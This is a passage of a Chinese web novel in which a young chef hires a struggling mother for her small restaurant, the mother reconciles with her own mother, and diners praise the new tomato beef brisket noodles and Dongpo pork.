庄凝冬：“是我自己擀的。” 季初曼瞪大了眼睛：“自、自己擀的？” 庄凝冬笑着点点头。 这就没办法了。 “好吧，”季初曼夸赞道，“真的太好吃了！我从来没有吃过这么好吃的番茄牛腩面。” 庄凝冬：“你尽管吃，还有呢。” 季初曼的进食速度不由自主的加快。 这股美味就像一个清洁工，仔仔细细从里到外，将她一天的疲惫，绝望和麻木都从身体里扫了出去。 取而代之的是一阵惬意的轻松。 季初曼吃了一碗又一碗，不久后，她摸摸饱腹感很强的肚子。 明明饱了，怎么还有点意犹未尽呢？ 等所有人都吃完，庄凝冬先简单把桌子擦了一下，她们两人坐在原来的位置上，一个问一个答。 庄凝冬只问了一些简单的情况，还问她以前有没有相关经验之类的。 之后才让她试着上手干了会儿活。 庄凝冬在一旁看了会：“好了，可以了。” 从开始到结束还没五分钟，季初曼甚至才刚开始洗完第一个碗，就被叫停。 这么快，这是什么意思？ 是没通过吗？ 季初曼无端紧张起来。 如果说进门前是抱着试一试，行就行不行就换下一家的态度，那在吃完番茄牛腩面之后，季初曼就是真的想尽力留在这里了。 她不安道：“是，是有什么问题吗？” 第29章 第29章 庄凝冬笑了下：“我还想问你对我这家店还有没有什么问题呢，如果没有的话，你看看最快能什么时候来上班？” 啊？ 季初曼有点懵，嘴巴微张，似乎没料到这个结果，一时没反应过来。 几秒后，她才愣愣道：“我，我这是通过面试了？” 庄凝冬脸上笑意柔和，她点点头。 季初曼虽然看上去憔悴了点，但干活还是很利索的，搬重物也很稳，能看出来平时也有干活。 而且洗碗也很认真，连外层碗底的一些边缘都没放过。 “越快越好，因为实在是太忙了。”庄凝冬说。 吃了太多次闭门羹，突然接到橄榄枝，季初曼愣过之后忙不迭点头，生怕庄凝冬反悔。 只不过这股被冲昏头脑的喜悦并没有维持多久。 她们当时坐在外面聊着后续工作相关的事，谈到工作时间。 目前店里只有庄凝冬一个人，什么都是她自己干的，如果季初曼加入的话，那她就要负责分担这些活，工作时间自然也就是从早到晚了。 可她要接送女儿上下学。 没法太早到也没法太晚下班。 要是她没空的话，就得聘个人帮忙接送女儿了。 但她没钱，老公只会说不是有你吗为什么还要请人，就更不可能花钱请人了。 季初曼一时陷入为难。 她想让庄凝冬给她一点时间去思考解决，话到了嘴边，却猛地想到庄凝冬着急用人。 如果她太拖拉，庄凝冬之后要是遇到别的合适人选，就不会招她了。 季初曼前不久才被拒绝了无数次，明白这是不可多得的机会，万不可丢掉。 一团乱麻、不知所措间，季初曼脑中突然闪过一个念头。 她当即起身：“我可以先打个电话吗？打完电话我再给你回复。” 庄凝冬：“可以啊。” 季初曼出了门，她听着电话里的嘟嘟声，眼睛出神地盯着前面的槐树。 槐树叶茂，白瓣纷飞。 电话响了半分钟后，终于被接通：“喂？” 那头环境嘈杂，夹杂着几道打牌声—— “哎呀，怎么又是这种破牌？” “要不了要不了，过过过。” …… 季初曼有点紧张地喊了声：“妈。” “怎么了？”那头的季女士扔出两张牌：“王炸！哈哈没想到我又赢了。” “……您，您以后能帮我接一下圆圆吗？” “你干嘛去？” “我找到工作了……” 季女士明显停顿了下，语焉不详：“可以啊” “圆圆在XX幼儿园……”季初曼把班级信息，上下课时间都详细告诉了季女士。 季女士“嗯”了声，答应得爽快，也没有再多说什么。 这回倒是轮到季初曼百感交集了。 之前她放弃管理层的身份，在家备孕生育，甚至之后在家当全职主妇，季女士都有劝过她不要放弃工作，让她重心不要放在夫家，要放在自己身上。 谁都靠不住，特别是男人。 提升自己价值才是最重要的。 季初曼当然懂季女士为什么能说出这种话。 因为当初季女士还怀着她的时候，她那个所谓的爸就出轨了。 季女士当即离了婚，一个人辛辛苦苦将她拉扯大。 期间季女士都没再婚过，倒是有过几任男朋友，不过到后面都分了。 她和季女士的关系也是在她选择当全职主妇的时候开始僵化。 这种僵化倒不是说完全不来往，终究还是母女，逢年过节什么的还是会问候一下。 其实在这之前，季初曼还觉得有点小委屈的，她觉得自己能理解妈妈的遭遇，也能理解她从此都不肯再相信男人，也没强求她让她去相信。 可她为什么就不能理解自己对一个完整家庭的渴望呢？ 大抵人都对从来没有过的东西有种特别的执念，像季初曼从小没有爸爸，所以特别希望自己有个爸爸有个完整的家。 可惜一直没能实现心愿。 于是这种执念就寄托到了女儿圆圆身上。 因为自己痛苦过，所以她不希望女儿步自己的后路，所以她努力地维持着家里的关系，给女儿、也给自己一个完整的家。 只是好可惜，她似乎没能做到。 季初曼现在才开始真正理解季女士。 她原本以为季女士听到她要上班，多多少少会讽刺她几句，比如说，哟，当初不是说不上班吗？ 但季女士没有。 “还有什么事么？”季女士问。 这话在季初曼听来，是让她没事就赶紧挂，不要碍着她打牌的意思。 季初曼忙说：“没有了。” 季女士问：“你呢？” “什么？” “问你在哪上班，几点上下班？” 季初曼怔愣片刻，才一一回答。 此刻，她才反应过来，季女士对她，正是她对圆圆的模样。 她一心只有圆圆，所以惦记着圆圆的一切，也自然而然地交代着一切。 所以季女士也才会关心她，问跟她相关的事。 季初曼一下子红了眼眶。 像个无家可归了很久，在此刻才找到家的小孩。 有了真正的归属感。 原来真正意义上的家，根本不是依靠家庭成员来定义的。 并不是少了某个人就不是完整的家了。 这个道理她还是明白得太迟。 季初曼慢慢蹲下，捂着嘴尽量忍住没让自己哭出声。 泪水决堤。 视线里出现一只漂亮的手，递了几张纸巾过来。 季初曼捂住话筒，对庄凝冬说了声谢谢。 “庄记饭馆？没听过，详细地址在哪呢？干的什么工作？打杂？打杂也——” “在朝丰街……” 也许听出季初曼的声音变了调，季女士把没说出口的“是你应该的”这五个字吞了回去：“——也还行吧，反正朝丰街离我住的地方也近，你上班要是上累了的话，倒是可以借你休息休息。” “谢谢，妈。” 太过温情季女士反而有点不自在：“行了，你什么时候去上班？我要什么时候开始去接圆圆？” “还没定，我现在还在跟老板娘谈呢，老板娘的意思是让我尽快去上班，可以的话我想明天就去。” 季女士“哦”了声，又说：“那今天下午我先跟你一起去接圆圆吧，我跟圆圆也好久没见了，让我先跟圆圆拉近一下距离，顺便熟悉一下接送流程。” 季初曼：“好，那我先跟老板娘聊一下工作细节。” 电话还没挂，季初曼听到话筒那头，季女士在催促她的牌友—— “赶紧，抓紧时间，今天我可不能打太晚了。” 有人问：“干啥去？” 她笑：“去接我孙女。” 语气还蛮乐在其中的。 “怎么突然要接人了……” 嘟——电话挂掉。 季初曼回了店里。 目前解决了重要问题，她跟庄凝冬说最快明天就可以来上班。 两人又接着聊了一些工作待遇之类的问题。 庄凝冬当初发布招聘信息、写待遇的时候是参考过同行的，给的价格普遍比同等规模的餐饮店要高点。 其实庄凝冬也因为季初曼的学历多给了点。 庄凝冬这段时间在学那个大学论文，不可避免地了解到大学相关的基本常识，明白季初曼那个学历的含金量。 下午，季初曼和季女士去接圆圆。 圆圆生来就比较听话懂事，再加上季女士去的时候还给她带了一整套的芭比娃娃，婆孙俩久而不见的生疏感一下子就拉近了。 季初曼看着圆圆牵着季女士的手蹦蹦跳跳的模样，有点郁闷。 怎么感觉她才是局外人？ 傍晚她们一起吃了饭。 季女士说季初曼现在住的那里离庄记远，试探性地问她要不要搬过来自己这里住。 既然以后都是季女士帮忙接送圆圆，那圆圆自然要住进季女士家里的。 反正也要回去圆圆的玩具和衣物。 再顺便收拾一下自己的吧，季初曼想。 季初曼点点头，答应了。 季女士原本以为季初曼还要考虑一下，没想到她却爽快地答应了。 季女士陷入短暂的沉默思索，先带了圆圆回家。 那头季初曼回了那个大平层。 她在收拾东西的时候蓦地想起还没跟她老公说，便拿起了手机。 那边，卫默的声音听起来有些不悦：“喂？” 就打了个电话，她还什么都没说，也不知道他在不悦些什么。 季初曼也就没什么好气地通知他：“我找了个工作，这段时间就先不在家住了。” “工作？你找工作了？留在家好好的干嘛要出去找工作？” “我闲的。” “……”卫默哑口了一瞬，又似体贴似打探地问，“你找的什么工作？什么行业的？前景待遇怎么样？” “在饭馆里的工作。” 卫默不着痕迹松了口气，随后恢复了以前那副温润模样，轻笑道：“去饭馆能干什么？不都是打杂么，都没什么前途，还不如留在家照顾圆圆，爸爸平时已经够忙了，圆圆不能再没有妈妈陪。” 说到这，他才想起重要的点：“对了，你去上班了，那谁来带圆圆？” “这你不用担心，我让我妈去了。” “哦，那就好，你也知道我爸妈他们……”卫默顿了下，又问，“那你住哪？” “住我妈那。” “住多久？不会一直不回来了吧？”卫默开玩笑。 “还不清楚，看工作做得怎么样吧。” “哦，那你什么时候回来的话，记得跟我说一声。” “嗯。” 通话结束。 卫默问了很多，唯独没有问她在哪上班。 季初曼低着头默了很久，忽然笑了。 * 第二天一早，季初曼提前来到饭馆门前。 此时距离她上班的时间还有十几分钟。 庄凝冬看见后跟她打招呼：“这么早？吃早饭了吗？” “吃了。” 庄记饭馆其实包吃，不过只包午饭和晚饭不包早餐。 庄凝冬：“好，那你先坐一会儿，我等会再跟你说一些注意事项。” 店里用的依旧是茉莉花茶，季初曼抿了一口，茶水微烫，但茉莉花香很浓，很好喝。 不一会儿，庄凝冬出来跟季初曼简单介绍了目前店里正在销售的菜式。 “对了，番茄牛腩面是今天要上的新品，到时候有人问的话，你可以推荐一下。” 现在多了个人帮忙，可以减轻很多负担，新品也可以提上来了。 庄凝冬便在昨天的时候找了相应的供应商，又购了些食材，准备在今天售卖番茄牛腩面。 随后，庄凝冬领着季初曼进厨房，告诉她每天要提前准备的菜和要清洗的东西。 并亲自上手做了一遍，让她按标准来。 “番茄的话要去皮，划十字刀之后在开水里烫一圈，皮就很容易去掉了。” “做烩饭的番茄要切成丁，”庄凝冬三两下撕开番茄的外表皮，又咔咔几刀，就将番茄切成了大小一致的块状，“做番茄牛腩面的番茄就要切成这样的一块块，你到时候根据我给的分量来分别备好就行。” “香菇的话洗干净之后也是切丁，还有肉卷……” 季初曼听的认真，不管庄凝冬说什么都点头说好。 现在每天清晨收货、验货的工作还是由庄凝冬来做。 除此之外，庄凝冬的工作大头基本就放在了擀抄手皮和擀面条上。 这样，在正式营业前的那段时间，庄凝冬也有空去啃那些晦涩难懂的金融知识了。 思来想去，庄凝冬还是让季初曼签了保密协议。 很多餐饮店都会搞这个东西，无非就是怕自己店里的一些烹调方法，配方等重要秘密被透露。 现在很多的美食UP主或一些大厨为了弘扬传统美食文化，都会在平台发表一些自己做美食的方法，秘方和烹调技术随便在网上一搜就有，甚至经过改良的也多了去了。 如果能看到大家因为喜欢美食而去接触、试做美食的话，庄凝冬也会因此感到欣慰。 所以对于自家的秘方配料等，她倒不是很担心被泄露。 但也怕被竞争对手钻了空子。 凡事还是得多留一个心眼的。 早在确定好要上番茄牛腩面的时候，庄凝冬就在群里发了通知。 也因此，庄记饭馆的微博账号里，发了自创建以来的第一条动态—— [大家晚上好，庄记将于明天推出新品：番茄牛腩面，售价38元一份，欢迎大家来品尝！] 虽然账号只有三位数的粉丝，但那可都是些活粉，他们接到庄记发动态的通知后，都纷纷来底下评论支持。 很快，转赞评都破百了。 * 这天中午，于父难得有空，早早在御水轩订了位置，准备携妻女一同前往共进午餐。 于妍和于母两人靠在一起看菜单，于父则在一边给他们倒茶。 于妍觉得自己肚子都快饿扁了，看见啥都想吃，于是大手一挥，勾了好多菜。 在扫到菜单上的东坡肉时，于母无疑想到了上次于妍买回来的那份东坡肉，光这样一想，嘴里就要开始分泌唾液了。 于母吞了口口水，激动道：“诶诶诶，就这个，再多点一份。” 于妍了然一笑，“正有此意。” 于父好笑的看着她们：“什么吃的？竟然让你们垂涎到点了两份？” 于妍调皮：“不告诉你。” 于父无奈：“神神秘秘的。” 不过很快，于父就知道是什么了。 圆桌上，所有菜都上齐了，唯独有一样菜式的数量是双份。 那就是东坡肉。 于父拿起筷子，在不知情的乐呵着：“怪不得不告诉我，原来是想给我一个惊喜，但你们点两份东坡肉，我一个人也吃不完啊。” 于母无语：“谁说是给你点的了？” 于妍也对于父自信的样子感到一言难尽：“……你想多了，爸爸，这不是给你的惊喜。” 于父：“不是给我的是给谁的？在坐还有别人吗？” 母女俩异口同声—— “我跟妍妍不是人？” “我跟妈妈不是人？” 这两句话的杀伤力比东坡肉不是为他点的还大。 于父怀疑自己耳朵出了问题：“我没听错吧，是我理解的那个意思么？” 于父震惊：“你们，吃东坡肉？” 于父不信：“别开玩笑了。” 别说东坡肉了，以前吃饭，连普通的瘦肉，于父都没见她们怎么吃，甚至总的饭量都不大。 她们母女俩的胃就跟小鸟的一样，老是才吃了一点点就说吃不下了。 这让于父怎么信这番话嘛？ 于妍：“那是因为我们之前都不懂东坡肉的含金量。” 于父：“那你们现在就懂了？什么时候懂的？” 于妍：“在一次机缘巧合下，我偶然得知了原来东坡肉这么好吃！” 于母跟着回想，还锤了于父一拳：“你这狗东西，藏着掖着这么好吃的肉竟然不跟我和妍妍分享，自己吃独食啊？” 于父：“？？？” “以前哪次我没劝的口干舌燥？是谁坚决说不吃的？” 于母：“我说不吃，那你不会想办法让我吃吗？” 于父：“……” 好吧，不管怎样都是他的错。 于父习惯了，于父默默承受着。 于妍夹了一块东坡肉，怀着美好的心情放进嘴里。 然而才刚咀嚼了一下，她的动作就停住了。 唇角扬起的弧度也一僵。 这味道，怎么那么奇怪呢？ 不对，已经不能用奇怪来形容了。 是难吃。 汤汁包裹着的总体味道是微微发苦的，肥肉部分没有软烂到入口即化就算了，咬下去的时候还有肥油爆出，腻的要死。 瘦肉又干又硬，肉的内里也是干巴无味的，寡淡的不行，完全不入味。 出自身体的本能反应，于妍yue了一下，把嘴里那块东坡肉吐了出来。 “这也太难吃了。” 旁边同样一口没吃下去的于母也觉得难以置信：“简直不敢相信，东坡肉能这么难吃。” 有了对比，于妍和于母才得出了一个一致的结论： 原来不是所有店铺的东坡肉都好吃。 于妍看着那块东坡肉，心底又泛起那股油腻的反胃感。 也不懂她爸为什么那么喜欢吃？还是每次来都必点。 他是怎么吃得下去的？ 霎时，于妍对她爸的态度瞬间多了几分敬重，真诚地建议：“爸爸，您还是吃点好的吧。” 于父刚心满意足地吞下一块东坡肉。 于母便又道：“是我误会你了，你没有在吃独食，你是在吃独苦，辛苦了。” 于父疑惑，不太能听懂她们的话。 “什么吃点好的？这东坡肉还不够好？这可是御水轩的东坡肉。” “是真的不好吃，完全没法跟我和妍妍上次吃的那份比。” “上次？哪次？你们背着我偷偷吃大餐了？” “这怎么能叫背着你偷偷吃呢？”于妍理直气壮，“那天晚上是你自己不回家吃的。” “好好好，是我的问题，”于父说，“那你们可以跟我说说，你们上次吃的那份东坡肉了吗？” “这你可就问到点上了，”于母夸张形容，“可以用一句话来概括，‘此肉只应天上有，人间哪得几回吃’。” 于妍闭眼回味着那股味道，也夸赞：“入口香糯松软，酱汁香醇浓厚，一点苦味都没有，而且肥肉一点都不腻，比御水轩的要好是一百倍，对了，还有最重要的一点！人家那才65一份，一份足足有九块东坡肉呢！” 不像御水轩，一份360，一共才六块肉。 于父不信：“真的假的？价格那么便宜，味道却比御水轩的要好吃百倍？我不信。” 于母：“不信拉倒。” 于妍转了转眼珠子，憋着坏：“这样吧爸爸，我可以带你去吃吃我们吃的这份爆好吃的东坡肉，但有个条件。” 于父来了兴趣：“什么条件？” 于妍：“咱们来打个赌吧，要是你吃完之后，觉得比御水轩的好吃，就要给我和妈妈送一份价值不低于六位数的礼物。” 于母笑着给她比了个大拇指：“果然女儿就是贴心的小棉袄。” “又来诓爸爸呢？”于父笑，又问，“要是没有御水轩的好吃呢？” “不可能！”于妍脱口而出，那味道，怎么可能没有御水轩的好吃。 不过她还是象征性的补了个条件，“那我就陪您下棋好了。” 平时于父很喜欢让于妍陪他下棋，但于妍觉得每次下棋都会消耗自己很多脑细胞，很累，所以次次借口推脱。 “那就一言为定。” 于父答应的爽快，他才不信有比御水轩还好吃的东坡肉呢。 要真那么好吃，怎么圈子里一点风声都没有？ 就在当天晚上，于妍就带着于父于母来到了庄记饭馆前。 于父看着这简陋的小房子，错愕地问：“就，这家店？你是说这家店的东坡肉比御水轩的还好吃？” 于妍点点头：“是的。” 于父笑了下，认为自己赢定了。 第30章 第30章 进了店。 刚好有空出来的座位，于妍让于父和于母去坐着，自己去排队。 于妍表现的轻车熟路，但事实上，她也才是第一次来。 环境倒是跟之前陆向安直播里拍出来的一样。 要说有什么区别的话，大概就是多了些装饰品。 相比之前的简单朴素，更多了一种温馨。 于妍把店里的菜单拍下来，发到家族群里，让他们点。 这么便宜？ 于父非常豪爽：[全部来一份。] 于妍：[收到。] 队伍在慢慢前进，靠近收银台，于妍看到上面放着庄记饭馆的微博二维码。 她果断拿出手机扫了下，顺便点个关注。 于父坐在椅子上，观察着周围环境。 还是挺干净整洁的，也有不少人来吃，不过正是饭点，多人也不奇怪。 于父估摸着，这客流量应该跟其他饭馆差不多。 看着挺平平无奇，怎么看都不像是能做出完胜御水轩东坡肉的地方。 没看多久，于父收回目光，给于母倒了杯茶，自己抿了一口。 他向来很少喝茉莉花茶，觉得这股花香太浓郁了，会覆盖到其他清淡细腻的茶。 现在一喝，持久回甘，倒是也不错。 “这茉莉花茶还挺香的。”于父说。 “那是，可比你那些苦巴巴的茶好喝多了，”于母喝完一杯，把空杯子推到于父跟前，示意他再给自己倒一杯，“而且花茶还是养颜的呢，我得多喝几杯。” 于妍点完单回来后不久，他们桌点的菜也都被端上来了。 满桌佳肴，秀色可餐，芳香四溢，从视觉嗅觉上给人带来极致的冲击。 光这么看着闻着就足够让人食指大动。 其他菜看起来也非常不错，但终归没有对比，所以在于父看来，最让他惊艳的莫过于那道东坡肉。 一块块厚实的肉红亮透明如玛瑙，边缘更是锋利直楞，跟麻将一样。 不似御水轩的东坡肉，外层的晶莹猪皮总是会回缩，表面还有点皱巴巴的。是因为火候掌控的不够好，所以做不到这么直愣愣。 平心而论，光从东坡肉的外表以及摆盘上来看，这家苍蝇小馆就完胜了御水轩。 于父不禁再环顾了下四周，此刻的心境跟一开始已经发生了微妙的变化： 还真有点东西啊？ 此时的于妍早已吞下了一块东坡肉，当这股软乎乎且浓郁的肉香出现在舌尖上时，于妍终于感觉自己重新活过来了。 “舒服了，这才是东坡肉！御水轩那都是什么呀？！”于妍受不了了，“不行，我得再吃一块，洗洗嘴。” 当她再盛起一块时，才想起和老爸那个赌约。 于妍便催促道：“爸，你赶紧吃啊，可不许口是心非耍赖哦。” 于父乐呵呵的吃了一块，而后整个人愣住了，眼睛不由得瞪大。 这轻盈的口感…… 五花肉里的油脂早在长时间的炖煮中就被控出，所以吃起来一点也不油腻。 不止如此，哪怕是在厚实内里的肉，也非常入味，咸甜口味平衡得很好，沉浸其间，还能吃到淡淡的酒香。 太太太好吃了吧！ 于父吞掉一块东坡肉，回味着似有若无的口感，果真是—— 此肉只应天上有，人间能得几回吃啊！ “妍妍啊，你到底是在哪发现的这家店啊？这的东坡肉味道也太正了点，”于父猜测，“也不知道这份东坡肉是谁做的，莫非是从其他大城市退休回来的五星级大厨？” “什么啊？这饭馆只有老板娘一个人在做饭，所有菜都是她做的，”于妍朝厨房处指了指，“喏，就在那边，在那个小窗口可以看到。” 于父回头，一看，更震惊了。 这这么年轻的小姑娘？ 同时也更敬佩了。 “怎么样爸？我说的没错吧，是不是比御水轩的好吃百倍？服输了吗？” “服服服，当然服了，你爸爸我心服口服。” 至此，于父也不得不为自己之前的先入为主道歉：“爸爸刚进门的时候，还觉得这店太普通了，没想到深藏不露啊，是爸爸‘以貌取店’了。” 从菜上齐的那一刻就一直不停在吃的于母现在才愿意分出点时间给于父，她将手心递到于父面前，提醒：“那你可别忘了你的礼物。” 于父：“我哪敢忘啊？” 除了东坡肉，还有这家店的其他菜式，每一样都刷新了于父对美食的认知。 酸甜入味的烩饭，清爽软糯的炒饭，又辣又麻的抄手，鲜嫩清甜的荷香鸡，各具特色，各有千秋，让人哪个都想多吃一点。 尤其是那份番茄牛腩面！ “爸妈，你们快尝尝这份番茄牛腩面，好像是今天才上的新品，咱们可是赶上好时候了。” 于妍给他们都盛了一点点，然后才给自己装。 去了皮的番茄口感沙沙的，跟市面上那种不管炒多久都硬实硬实且没什么味道的番茄不一样，这里面的番茄有很浓厚的番茄味，莹润多汁。 浓郁酸甜的滋味顿时让于妍胃口大开，她专注的品尝起面前这碗番茄牛腩面。 “牛腩处理的太好了！是带点筋的那种，肉质软烂却又劲道，很香！” 于父低着头，不怕烫似的张嘴一口吃掉一块牛腩。 不能怪他，要怪就只能怪这碗番茄牛腩面实在太好吃了，这牛腩炖的比他以往吃过的所有牛腩都要漂亮顶级。 真的好吃得没得说！ “这面条是老板娘自己擀的吧……” 手擀面条根根粗细一致，因吸满了酸甜番茄汁而呈现出浓郁的橙红，这色调光看着就足够让人口齿生津。 哪怕泡在汤水里也不会变得软绵粘坨。 就着筷子吸溜一口，通体爽滑的面条一下子就蹿进了口腔里，咀嚼间除了弹牙劲道的口感外，还有番茄香和牛腩独特的奶油香在迸发。 好酸甜！好可口！ 吃着吃着，于母开始怀念起来：“忽然想吃我妈做的手擀面了，虽然比不上这里的好吃……” 于母的妈妈岁数有点大了，于母不想她操劳，所以哪怕想吃也没跟她说起过。 于父很识相：“等我有空就立马去跟岳母学。” “那你可得好好学，要是学不到八九分我可不吃。” “那必须。” 莫名其妙又被塞了一嘴狗粮的于妍直接化怒火为食量，对着一桌子美味下手。 呜呜呜幸好她还有美食陪伴，不然就真的太孤单了！ 一桌子菜始终太多了，他们三个人吃不完，就将剩余的打包，可以拿回去当做夜宵。 “这家店的老板娘实在是太厉害了！”于父再一次止不住感叹：“才这么年轻厨艺就这么高深，简直到了炉火纯青的地步，真是年少有为啊，我看这店面啊迟早得扩一扩。” 于母也说：“还是民间多高手。” 走之前，于父回头看了眼店铺，并拍了张照片，然后就发到了几个老总朋友的群里—— [各位老板们！我发现了一样好东西！！一家比御水轩还要好吃的小饭馆！以后就带合作方来这里谈生意，绝对一谈一个准！] * 一天在忙碌中过去，店铺又到了该打样的时候。 季初曼认真仔细的擦着桌子的每一个角落，扫地拖地，不辞辛苦，最后把碗洗了才拎起包回家。 “季姐。”身后，庄凝冬喊住她。 季初曼回头：“怎么了？” 庄凝冬把一袋东西交到她手上：“锅里还剩了点番茄牛腩面，量不足一份我就没拿出去卖，刚好可以带回去让你女儿和妈妈尝尝。” 季初曼顿觉惊喜，连忙道谢：“我替她们谢谢你。” “小事，你们不吃的话放着也是浪费，”庄凝冬莞尔，叮嘱她，“慢走，路上注意安全。” 季初曼回到家，她们婆孙俩早已吃完晚饭了。 欣欣正在画画，时不时拿起纸问她旁边的季女士自己画得怎么样。 这一幕，让季初曼想起了自己小的时候，季女士也是这样坐在她旁边…… 季初曼心中不禁动容。 “妈，欣欣，我回来了。” 季初曼也走过去坐下，把那份番茄牛腩面随意搁在桌上。 “这是？”季女士问。 “番茄牛腩面，是老板娘让我带回来给你们尝尝的。” “好耶！有面条吃！不过欣欣吃过饭饭了，还不是很饿，”欣欣问，“可以晚点再吃吗？” “可以，等会吃完就要刷牙去睡觉哦，不然牙齿被虫子咬掉后欣欣就没有牙齿吃饭饭咯。” “嗯！”欣欣点点头，又继续专注到她的画画中。 安静中，季女士忽然开口问：“你跟卫默出问题了？” 季初曼顿时一慌：“为什么这么问？” “你就说是不是吧。” 季初曼没打算隐瞒，说出来的那一刻反而松了口气：“什么都没能逃过您的眼睛。” “出什么问题了？” “他……这段时间工作总是忙，”季初曼回忆着，组织着言语：“其实，从一两年前就开始了，最近更频繁而已，我总觉得不太对劲。” 季女士沉默了一会儿：“所以你是因为这个才出来找工作？” “算是吧。” 兴许是不知道说什么，季女士不说话了，客厅再一次安静起来。 季初曼没忍住，问：“妈，你是不是早就猜到我会有今天了？” “意料之外情理之中，”季女士说，“卫默那人演技还是挺好的，把我都骗了过去，别说你了。” “那你之前怎么还……” 让她出去工作。 “我劝你是为了让你提升自己，自己替自己的前途着想，不管什么时候，都要考虑考虑自己，是为了日后以防万一，多做份准备总是好的，又不是专门为了遇到不靠谱的男人做准备。” 季女士六十左右的年纪，头发被染成了潮流的粽色，不止穿着打扮，思想观念也比同龄人要潮流的多。 “你自己的人生，我不强迫你一定要选我建议的那条路，倘若你没看走眼，收获了一个忠诚靠得住的伴侣，我也会替你高兴，要是你做了错误决定，那也是你自找的。” 季女士说话很直接。 季初曼也觉得是自己的问题，她自然没法怨季女士说话难听。 “那，您不生气吗？” “我干嘛要生气？你自己的人生你总要自己走的，我可不管你，我都半截身子入土的人了，吃喝玩乐都来不及，还去气自己，这不是自己找罪受吗？” 是了，季女士现在的生活就是拿着退休金到处玩，过着潇洒自在的日子。 对她来说，自己的感受才是最重要的。 永远以自己为中心。 确实是她能说出来的话。 季初曼哦了一声，小声开口：“那我以后也要跟您学习。” 这话的意思，就是摒弃前嫌咯。 “可以，不过先交点学费吧。” “什么？” “允许你借花献佛好了。”季女士朝桌上那碗番茄牛腩面抬了抬下巴，示意道。 季初曼懂了，她把那碗番茄牛腩面拿过来。 刚好欣欣也画完画了。 她举起那幅画，求夸奖似的：“妈妈，你看我画得好不好看？” 纸张上，欣欣的笔触稚嫩，四周是一些花花草草小房屋，中间站着三个火柴人，两个一样高大的火柴人分别站在左右两边，一左一右牵起中间矮小火柴人的手。 不难辨认出，那两个大的火柴人分别是季初曼和季女士。 她们两人一个是标志性长头发，一个是棕色的短发。 而中间那个…… 欣欣咯咯笑起来，指着中间的小人说：“这个是我哦妈妈。” 就她们三个，没有其他局外人，画面异常和谐。 季初曼毫不吝啬自己的夸奖，温柔地摸了摸她的头：“欣欣画的真好看，可以奖励你睡前吃点夜宵哦，饿了没？” 欣欣点点头：“有点。” “那你先叫外婆帮你洗干净手上的颜料，再过来吃。” 庄凝冬给的那份番茄牛腩面量不是很多，不过好在她们也吃了晚饭。 这么点三个人分分开，不多不少的，刚好能解解馋。 番茄汤的颜色很霸道，轻而易举就能让里面的食材都挂上一层显眼的橙红。 加上偏酸的气味，光闻着就觉得胃里的食物又消化了点。 欣欣乖乖的坐在椅子上，用叉子把面条卷起来，塞得双颊满当当。 只吞了一点点，都还没完全咽下去呢，她就眨着亮晶晶的眼睛：“好好次呀麻麻！” 小孩子不知道怎么形容，只知道说好吃，还想再吃。 季初曼怕她噎着，轻抚她的背，让她吃慢点。 连活了大半辈子，自认也吃过不少美食的季女士都不禁为这碗番茄牛腩面惊讶。 不禁又问了一遍：“你说这是你那个饭馆的老板娘做的？” “是啊，连这个面条都是她自己擀的呢。”季初曼说，“我全程都在看着呢，那揉面团的动作干脆利落，刀起刀落快如残影，就眨个眼的功夫，面条就切好了，整整齐齐，像拿尺子对着切一样。” 季初曼笑：“我都要怀疑她是不是从出生开始就练刀功了。” 季女士：“她做其他菜也这么好吃？” 季初曼点点头：“她真是我遇见过做饭做得最好吃的人，这厨艺放在一批顶级大厨里估计也是佼佼者。” “那店里其他正在售卖的饭菜也都是她自己做的？” “所有菜都是她一个人做的，大概就因为这个，所以才急着招人吧，我今天在那上了一天班，挺多人来光顾的，真的很忙。” 要真是这样，那这个饭馆的老板娘可真是未来可期啊。 也许她要见证一代大厨的崛起了。 一个刚好需要用人，一个刚好需要工作。 想到这恰到好处的巧合，季女士在心中欣慰一叹： 看来一切都是最好的安排。 那天晚上，季初曼她们三人一起坐在餐桌前，言笑晏晏，其乐融融。 是好久都没有过的温馨氛围。 * 周五这天下午，丁固用自己的加班时间换了半天调休，连着周末两天一起休息。 他突然想起自己中的奖快要到期了，几番纠结下，还是拿起钥匙出了门。 哪怕他住城西，而庄记在城东，其实来回车程也就四十多分钟。 没办法，溪城就是这么小。 同行的还有丁固的一个朋友，黎成。 他要去城东办点事。 不是什么大事，很快就能办好，因而，他约上丁固一起吃晚饭。 “去哪吃呢？你家不远处的那个西餐厅怎么样？我觉得味道还不错。” “今晚？今晚就算了吧，我已经想好去哪吃了。” “去哪啊一起呗，”黎成说，“还是说你约人了？” “没约人，就是，”丁固斟酌着措辞，“我也没吃过那家店，不知道味道怎么样，免得你踩雷。” “so？那你还非要去那吃？” “……” 丁固只好把自己中奖了的事跟黎成说了一遍：“我看那直播觉得还是挺不错的。” 这回轮到黎成沉默了。 他从屏幕前抬头，神情一言难尽，非常不理解：“所以你，大老远从城东跑来城西吃饭，就为了这个价值50元的饭店专属券？” “你懂个屁。” “我确实不懂。” 黎成分析道：“如果不是那种饭菜一体的快餐店，但凡是家正常点的饭店，50元顶多……算了，勉勉强强算能让你点三个菜吧，说不定还不咋地，不然打广告能打到网上来？真不懂有什么值得你非去不可的。” “……这可是我人生中第一次中奖！而且还在同一座城市，你懂这个‘世界那么大，竟然就在我身边’缘分巧合的含金量吗？” “不懂。” “……”丁固：“等会儿你自己去找吃的吧。” “不了，我就跟着你去那个饭馆吃。” “你是不是有病，刚刚才吐槽着，转眼就要跟着我。” “你勾起了我的好奇心，我倒要看看这是怎样的一家店。” 丁固：“……” 反正下午也没事干，丁固干脆等黎成办完事再一同前往庄记饭馆。 门前，丁固反复确认了一遍地址才进去。 就怕消费错门店不给报销，免得到头来白跑一趟。 屋里头还是挺热闹的，收银台前排着一个小队。 黎成饶有兴致地问：“哎，要是等会你发现这家店的味道满足不了你的期待，那个主播是和店家一起搞的虚假宣传，你会怎么办？” 丁固想说能怎么办，踩雷就自认倒霉呗，然后他一转头，看见一张熟悉的脸庞。 很眼熟，但一下子想不起来。 丁固盯着看了几秒，脑海猛地浮现出一个答案： 是那个主播！陆向安！ “那我就去把那个主播揍一顿。”丁固说。 黎成：“啊？” 丁固：“我看见那个主播了。” 黎成：“啊？！” 这世界那么小吗？ 黎成顺着丁固的目光看过去—— 陆向安拿着筷子，猛嗦了一口面条，随即脸上露出满足的神情。 他又又又来庄记吃饭了，不过他倒没那么不要脸，不会每次来都吃不用花钱的东坡肉。 上了新品当然要尝试尝试新品啦！ 番茄牛腩面，酸甜适中，味道依旧是同类中的天花板。 酸酸甜甜的味道不要太开胃！ 